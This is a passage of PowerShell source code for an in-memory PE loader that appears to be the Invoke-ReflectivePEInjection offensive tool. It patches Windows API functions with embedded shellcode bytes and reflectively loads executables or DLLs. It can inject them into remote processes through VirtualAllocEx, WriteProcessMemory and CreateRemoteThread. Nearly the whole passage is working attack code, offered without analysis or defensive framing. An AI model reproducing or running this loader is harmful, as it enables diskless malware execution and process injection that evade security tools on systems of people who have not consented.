$GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) | |
$GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) | |
$Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null | |
$Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null | |
$ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) | |
$ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) | |
#Overwrite GetCommandLineA | |
[UInt32]$OldProtectFlag = 0 | |
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) | |
if ($Success = $false) | |
{ | |
throw "Call to VirtualProtect failed" | |
} | |
$GetCommandLineAAddrTemp = $GetCommandLineAAddr | |
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp | |
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) | |
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize | |
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp | |
$Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null | |
#Overwrite GetCommandLineW | |
[UInt32]$OldProtectFlag = 0 | |
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) | |
if ($Success = $false) | |
{ | |
throw "Call to VirtualProtect failed" | |
} | |
$GetCommandLineWAddrTemp = $GetCommandLineWAddr | |
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp | |
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) | |
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize | |
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp | |
$Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null | |
################################################# | |
################################################# | |
#For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. | |
# I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. | |
# It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the | |
# argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. | |
$DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` | |
, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") | |
foreach ($Dll in $DllList) | |
{ | |
[IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) | |
if ($DllHandle -ne [IntPtr]::Zero) | |
{ | |
[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") | |
[IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") | |
if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) | |
{ | |
"Error, couldn't find _wcmdln or _acmdln" | |
} | |
$NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) | |
$NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) | |
#Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state | |
$OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) | |
$OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) | |
$OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) | |
$OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) | |
$ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) | |
$ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) | |
$Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) | |
if ($Success = $false) | |
{ | |
throw "Call to VirtualProtect failed" | |
} | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) | |
$Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null | |
$Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) | |
if ($Success = $false) | |
{ | |
throw "Call to VirtualProtect failed" | |
} | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) | |
$Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null | |
} | |
} | |
################################################# | |
################################################# | |
#Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. | |
$ReturnArray = @() | |
$ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process | |
#CorExitProcess (compiled in to visual studio c++) | |
[IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") | |
if ($MscoreeHandle -eq [IntPtr]::Zero) | |
{ | |
throw "mscoree handle null" | |
} | |
[IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") | |
if ($CorExitProcessAddr -eq [IntPtr]::Zero) | |
{ | |
Throw "CorExitProcess address not found" | |
} | |
$ExitFunctions += $CorExitProcessAddr | |
#ExitProcess (what non-managed programs use) | |
[IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") | |
if ($ExitProcessAddr -eq [IntPtr]::Zero) | |
{ | |
Throw "ExitProcess address not found" | |
} | |
$ExitFunctions += $ExitProcessAddr | |
[UInt32]$OldProtectFlag = 0 | |
foreach ($ProcExitFunctionAddr in $ExitFunctions) | |
{ | |
$ProcExitFunctionAddrTmp = $ProcExitFunctionAddr | |
#The following is the shellcode (Shellcode: ExitThread.asm): | |
#32bit shellcode | |
[Byte[]]$Shellcode1 = @(0xbb) | |
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) | |
#64bit shellcode (Shellcode: ExitThread.asm) | |
if ($PtrSize -eq 8) | |
{ | |
[Byte[]]$Shellcode1 = @(0x48, 0xbb) | |
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) | |
} | |
[Byte[]]$Shellcode3 = @(0xff, 0xd3) | |
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length | |
[IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") | |
if ($ExitThreadAddr -eq [IntPtr]::Zero) | |
{ | |
Throw "ExitThread address not found" | |
} | |
$Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) | |
if ($Success -eq $false) | |
{ | |
Throw "Call to VirtualProtect failed" | |
} | |
#Make copy of original ExitProcess bytes | |
$ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) | |
$Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null | |
$ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) | |
#Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then | |
# call ExitThread | |
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp | |
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) | |
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize | |
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp | |
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) | |
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize | |
Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp | |
$Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null | |
} | |
################################################# | |
Write-Output $ReturnArray | |
} | |
#This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) | |
# It copies Count bytes from Source to Destination. | |
Function Copy-ArrayOfMemAddresses | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[Array[]] | |
$CopyInfo, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$Win32Functions, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[System.Object] | |
$Win32Constants | |
) | |
[UInt32]$OldProtectFlag = 0 | |
foreach ($Info in $CopyInfo) | |
{ | |
$Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) | |
if ($Success -eq $false) | |
{ | |
Throw "Call to VirtualProtect failed" | |
} | |
$Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null | |
$Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null | |
} | |
} | |
##################################### | |
########## FUNCTIONS ########### | |
##################################### | |
Function Get-MemoryProcAddress | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[IntPtr] | |
$PEHandle, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[String] | |
$FunctionName | |
) | |
$Win32Types = Get-Win32Types | |
$Win32Constants = Get-Win32Constants | |
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants | |
#Get the export table | |
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) | |
{ | |
return [IntPtr]::Zero | |
} | |
$ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) | |
$ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) | |
for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) | |
{ | |
#AddressOfNames is an array of pointers to strings of the names of the functions exported | |
$NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) | |
$NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) | |
$Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) | |
if ($Name -ceq $FunctionName) | |
{ | |
#AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions | |
# which contains the offset of the function in to the DLL | |
$OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) | |
$FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) | |
$FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) | |
$FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) | |
return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) | |
} | |
} | |
return [IntPtr]::Zero | |
} | |
Function Invoke-MemoryLoadLibrary | |
{ | |
Param( | |
[Parameter( Position = 0, Mandatory = $true )] | |
[Byte[]] | |
$PEBytes, | |
[Parameter(Position = 1, Mandatory = $false)] | |
[String] | |
$ExeArgs, | |
[Parameter(Position = 2, Mandatory = $false)] | |
[IntPtr] | |
$RemoteProcHandle, | |
[Parameter(Position = 3)] | |
[Bool] | |
$ForceASLR = $false | |
) | |
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) | |
#Get Win32 constants and functions | |
$Win32Constants = Get-Win32Constants | |
$Win32Functions = Get-Win32Functions | |
$Win32Types = Get-Win32Types | |
$RemoteLoading = $false | |
if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) | |
{ | |
$RemoteLoading = $true | |
} | |
#Get basic PE information | |
Write-Verbose "Getting basic PE information from the file" | |
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types | |
$OriginalImageBase = $PEInfo.OriginalImageBase | |
$NXCompatible = $true | |
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) | |
{ | |
Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue | |
$NXCompatible = $false | |
} | |
#Verify that the PE and the current process are the same bits (32bit or 64bit) | |
$Process64Bit = $true | |
if ($RemoteLoading -eq $true) | |
{ | |
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") | |
$Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") | |
if ($Result -eq [IntPtr]::Zero) | |
{ | |
Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" | |
} | |
[Bool]$Wow64Process = $false | |
$Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) | |
if ($Success -eq $false) | |
{ | |
Throw "Call to IsWow64Process failed" | |
} | |
if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) | |
{ | |
$Process64Bit = $false | |
} | |
#PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly | |
$PowerShell64Bit = $true | |
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) | |
{ | |
$PowerShell64Bit = $false | |
} | |
if ($PowerShell64Bit -ne $Process64Bit) | |
{ | |
throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" | |
} | |
} | |
else | |
{ | |
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) | |
{ | |
$Process64Bit = $false | |
} | |
} | |
if ($Process64Bit -ne $PEInfo.PE64Bit) | |
{ | |
Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" | |
} | |
#Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address | |
Write-Verbose "Allocating memory for the PE and write its headers to memory" | |
#ASLR check | |
[IntPtr]$LoadAddr = [IntPtr]::Zero | |
$PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE | |
if ((-not $ForceASLR) -and (-not $PESupportsASLR)) | |
{ | |
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue | |
[IntPtr]$LoadAddr = $OriginalImageBase | |
} | |
elseif ($ForceASLR -and (-not $PESupportsASLR)) | |
{ | |
Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." | |
} | |
if ($ForceASLR -and $RemoteLoading) | |
{ | |
Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop | |
} | |
if ($RemoteLoading -and (-not $PESupportsASLR)) | |
{ | |
Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop | |
} | |
$PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell | |
$EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. | |
if ($RemoteLoading -eq $true) | |
{ | |
#Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup | |
$PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) | |
#todo, error handling needs to delete this memory if an error happens along the way | |
$EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) | |
if ($EffectivePEHandle -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" | |
} | |
} | |
else | |
{ | |
if ($NXCompatible -eq $true) | |
{ | |
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) | |
} | |
else | |
{ | |
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) | |
} | |
$EffectivePEHandle = $PEHandle | |
} | |
[IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) | |
if ($PEHandle -eq [IntPtr]::Zero) | |
{ | |
Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." | |
} | |
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null | |
#Now that the PE is in memory, get more detailed information about it | |
Write-Verbose "Getting detailed PE information from the headers loaded in memory" | |
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants | |
$PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress | |
$PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle | |
Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" | |
#Copy each section from the PE in to memory | |
Write-Verbose "Copy PE sections in to memory" | |
Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types | |
#Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded | |
Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" | |
Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types | |
#The PE we are in-memory loading has DLLs it needs, import those DLLs for it | |
Write-Verbose "Import DLL's needed by the PE we are loading" | |
if ($RemoteLoading -eq $true) | |
{ | |
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle | |
} | |
else | |
{ | |
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants | |
} | |
#Update the memory protection flags for all the memory just allocated | |
if ($RemoteLoading -eq $false) | |
{ | |
if ($NXCompatible -eq $true) | |
{ | |
Write-Verbose "Update memory protection flags" | |
Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types | |
} | |
else | |
{ | |
Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" | |
} | |
} | |
else | |
{ | |
Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" | |
} | |
#If remote loading, copy the DLL in to remote process memory | |
if ($RemoteLoading -eq $true) | |
{ | |
[UInt32]$NumBytesWritten = 0 | |
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) | |
if ($Success -eq $false) | |
{ | |
Throw "Unable to write shellcode to remote process memory." | |
} | |
} | |
#Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function | |
if ($PEInfo.FileType -ieq "DLL") | |
{ | |
if ($RemoteLoading -eq $false) | |
{ | |
Write-Verbose "Calling dllmain so the DLL knows it has been loaded" | |
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) | |
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) | |
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) | |
$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null | |
} | |
else | |
{ | |
$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) | |
if ($PEInfo.PE64Bit -eq $true) | |
{ | |
#Shellcode: CallDllMain.asm | |
$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) | |
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) | |
$CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) | |
} | |
else | |
{ | |
#Shellcode: CallDllMain.asm | |
$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) | |
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) | |
$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) | |
} | |
$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) | |
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) | |
$SCPSMemOriginal = $SCPSMem | |
Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) | |
Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) | |
Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) | |
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) | |
if ($RSCAddr -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to allocate memory in the remote process for shellcode" | |
} | |
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) | |
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) | |
{ | |
Throw "Unable to write shellcode to remote process memory." | |
} | |
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions | |
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) | |
if ($Result -ne 0) | |
{ | |
Throw "Call to CreateRemoteThread to call GetProcAddress failed." | |
} | |
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null | |
} | |
} | |
elseif ($PEInfo.FileType -ieq "EXE") | |
{ | |
#Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process | |
[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) | |
[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) | |
$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr | |
#If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread | |
# This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. | |
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) | |
Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." | |
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null | |
while($true) | |
{ | |
[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) | |
if ($ThreadDone -eq 1) | |
{ | |
Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants | |
Write-Verbose "EXE thread has completed." | |
break | |
} | |
else | |
{ | |
Start-Sleep -Seconds 1 | |
} | |
} | |
} | |
return @($PEInfo.PEHandle, $EffectivePEHandle) | |
} | |
Function Invoke-MemoryFreeLibrary | |
{ | |
Param( | |
[Parameter(Position=0, Mandatory=$true)] | |
[IntPtr] | |
$PEHandle | |
) | |
#Get Win32 constants and functions | |
$Win32Constants = Get-Win32Constants | |
